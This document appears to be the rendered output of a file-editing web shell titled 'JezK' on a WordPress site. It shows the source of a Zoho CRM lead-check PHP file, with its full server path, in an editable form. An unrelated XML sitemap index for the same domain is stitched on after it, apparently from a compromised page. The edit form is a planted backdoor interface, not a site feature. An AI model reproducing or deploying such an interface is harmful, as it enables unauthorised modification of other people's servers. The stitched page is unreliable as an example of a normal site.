
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: zoho-verify-lead.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

if (!session_id() &amp;&amp; !headers_sent()) {
    ini_set('session.cookie_httponly', 1);
    if (isset($_SERVER['HTTPS']) &amp;&amp; $_SERVER['HTTPS'] === 'on') {
        ini_set('session.cookie_secure', 1);
    }
    ini_set('session.use_only_cookies', 1);
    ini_set('session.cookie_samesite', 'Strict');
    session_start();
}

require_once('/home/authentica.com/public_html/wp-content/plugins/zoho-crm-api/zoho-auth.php');

if (!defined('ABSPATH')) {
    exit;
}

$body = file_get_contents('php://input');
$data = json_decode($body, true);

// CSRF
if (!isset($data['csrf_token']) || !isset($_SESSION['csrf_token']) || $data['csrf_token'] !== $_SESSION['csrf_token']) {
    header('Content-Type: application/json');
    header('X-Content-Type-Options: nosniff');
    http_response_code(403);
    echo json_encode(['error' =&gt; 'Invalid or missing CSRF token']);
    exit;
}

// lead id required
if (empty($data['lead_id'])) {
    header('Content-Type: application/json');
    header('X-Content-Type-Options: nosniff');
    echo json_encode(['error' =&gt; 'Missing lead_id']);
    exit;
}

$auth_response = get_zoho_access_token();
if (!isset($auth_response['response']['access_token'])) {
    header('Content-Type: application/json');
    header('X-Content-Type-Options: nosniff');
    echo json_encode(['error' =&gt; 'Failed to fetch access token']);
    exit;
}
$access_token = $auth_response['response']['access_token'];

$url = &quot;https://www.zohoapis.com/crm/v2/Leads/&quot; . urlencode($data['lead_id']);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    &quot;Authorization: Bearer $access_token&quot;,
    &quot;Content-Type: application/json&quot;
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
$response = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// 200 =&gt; exists
$exists = ($code === 200);

header('Content-Type: application/json');
header('X-Content-Type-Options: nosniff');
echo json_encode(['exists' =&gt; $exists, 'http_code' =&gt; $code]);
exit;

</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//authentica.com/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://authentica.com/post-sitemap.xml</loc>
		<lastmod>2026-08-26T11:41:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/page-sitemap1.xml</loc>
		<lastmod>2026-08-26T08:04:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/page-sitemap2.xml</loc>
		<lastmod>2026-08-26T07:16:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/seoul-courses-sitemap.xml</loc>
		<lastmod>2026-07-13T10:19:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/barcelona-courses-sitemap.xml</loc>
		<lastmod>2026-07-24T07:14:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/florence-courses-sitemap.xml</loc>
		<lastmod>2026-07-21T10:27:59+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/programs_filters-sitemap.xml</loc>
		<lastmod>2026-08-25T10:16:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/category-sitemap.xml</loc>
		<lastmod>2026-08-26T11:41:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/news-sitemap.xml</loc>
		<lastmod>2026-08-25T11:26:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/video-sitemap.xml</loc>
		<lastmod>2026-08-21T13:20:02+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/local-sitemap.xml</loc>
		<lastmod>2026-07-21T08:21:27+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->